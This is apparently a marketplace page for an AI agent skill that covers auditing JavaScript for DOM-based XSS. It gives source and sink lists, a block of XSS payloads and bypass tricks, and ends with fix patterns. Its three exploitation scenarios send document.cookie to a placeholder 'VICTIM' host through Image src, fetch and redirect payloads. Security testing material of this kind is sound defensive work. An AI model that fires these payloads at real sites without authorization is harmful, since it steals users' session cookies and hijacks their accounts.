# dom-xss

> Detect and exploit DOM-based XSS vulnerabilities by auditing JavaScript for tainted data flow from controllable sources to dangerous sinks, with payloads and bypass techniques for client-side testing.

- Skill: `shulkwisec/dom-xss` (Agent Skill)
- Install (CLI): `npx skillmds add shulkwisec/dom-xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/dom-xss/raw
- Safety review: PASS (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security, Web & Frontend, Penetration Testing, Secure Coding, Vulnerability Scanning
- Tags: Burp Suite, Chrome Devtools, Client Side Security, Cross Site Scripting, Dom Xss, Dompurify, Javascript Security, Web Security
- License: MIT
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-08-22
- Page: https://skillmd.com/skills/shulkwisec/dom-xss

---


# DOM-Based Cross-Site Scripting (XSS)

## What Is Broken and Why
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.

## Key Signals
- JavaScript reading from: `location.hash`, `location.search`, `location.href`, `document.referrer`, `window.name`, `document.cookie`, `postMessage` event data
- JavaScript writing to: `document.write()`, `innerHTML`, `outerHTML`, `insertAdjacentHTML`, `eval()`, `setTimeout(string)`, `setInterval(string)`, `location.href = ...`, `src` attribute assignment, `jQuery.html()`, `jQuery.append()`
- Single-page applications (SPAs) with client-side routing
- JavaScript dynamically building page content from URL parameters
- Event handler attributes set from JavaScript using string-based eval-equivalent constructs

## Methodology
1. Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
2. Search for DOM source references: `location.hash`, `location.search`, `document.referrer`, `window.name`.
3. Trace data flow from each source to identify all sinks it reaches.
4. Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
5. Craft a context-appropriate payload and deliver via the controllable source.
6. Test in a real browser — automated tools miss browser-behavior-dependent execution.
7. Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.

## Payloads & Tools
```
# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x onerror=alert(document.cookie)>

# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>

# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x onerror=alert(1)>

# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="

# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)

# jQuery .html() sink
TARGET/page?search=<img src=x onerror=alert(1)>

# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>

# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"
# Victim app reads: document.getElementById('x').innerHTML = window.name

# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })

# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks

# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
```

## Bypass Techniques
- Fragment (`#`) payloads are not sent to server, bypassing server-side WAFs and filters
- `javascript:` URI scheme in href/src sinks when `<script>` tags are filtered
- Event handlers in injected HTML: `<img onerror=...>`, `<svg onload=...>`, `<body onpageshow=...>`
- `innerHTML` does not execute `<script>` tags directly — use event handler payloads instead
- Encoding in fragment: `%3Cscript%3E` may be decoded by `decodeURIComponent()` before reaching sink
- `window.name` persists across cross-origin navigations — attacker page can set it
- `postMessage` with missing or weak origin validation (see web messaging skill)
- Template literal injection in modern JS: `eval(\`${userInput}\`)`

## Exploitation Scenarios
**Scenario 1 — Fragment Injection via document.write**
Setup: SPA reads `location.hash` to display a "you came from" breadcrumb using `document.write()`.
Trigger: Victim clicks attacker link: `TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>`
Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.

**Scenario 2 — eval() Injection via Search Parameter**
Setup: JavaScript parses `location.search` and uses `eval()` to set a variable from the `theme` parameter.
Trigger: `TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//`
Impact: Arbitrary JavaScript executed; session stolen.

**Scenario 3 — innerHTML Sink via jQuery**
Setup: jQuery-based page loads product description from `#description` fragment into `$('#content').html()`.
Trigger: `TARGET/product#<img src=x onerror="document.location='http://VICTIM/steal?c='+document.cookie">`
Impact: Cookie exfiltration; attacker can perform any action as the victim user.

## False Positives
- Payload in fragment reflected in source but not reaching a dangerous sink (rendered as text only)
- `innerHTML` assigned a value that is HTML-encoded before assignment (escaping happening in JS)
- DOMPurify or similar sanitizer stripping dangerous content before sink assignment
- CSP blocking inline script execution even when payload reaches sink
- `eval()` present in code but receiving only developer-controlled or whitelisted input

## Fix Patterns
- Use `textContent` or `innerText` instead of `innerHTML` when inserting user-controlled data as plain text
- When HTML insertion is required, sanitize with DOMPurify: `element.innerHTML = DOMPurify.sanitize(userInput)`
- Avoid `eval()`, `setTimeout(string)`, `setInterval(string)` with user-controlled data
- Validate and sanitize `postMessage` event data; always check `event.origin` before processing
- For URL redirects: use an allowlist of permitted destinations; never pass `javascript:` to `location.href`
- Content Security Policy: `script-src 'self'` prevents execution of injected scripts
- Use frameworks with auto-escaping (React, Angular) which avoid direct DOM manipulation by default

## Related Skills

DOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a `fetch()` to an attacker-controlled URL can return a payload that gets written to `innerHTML`. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.

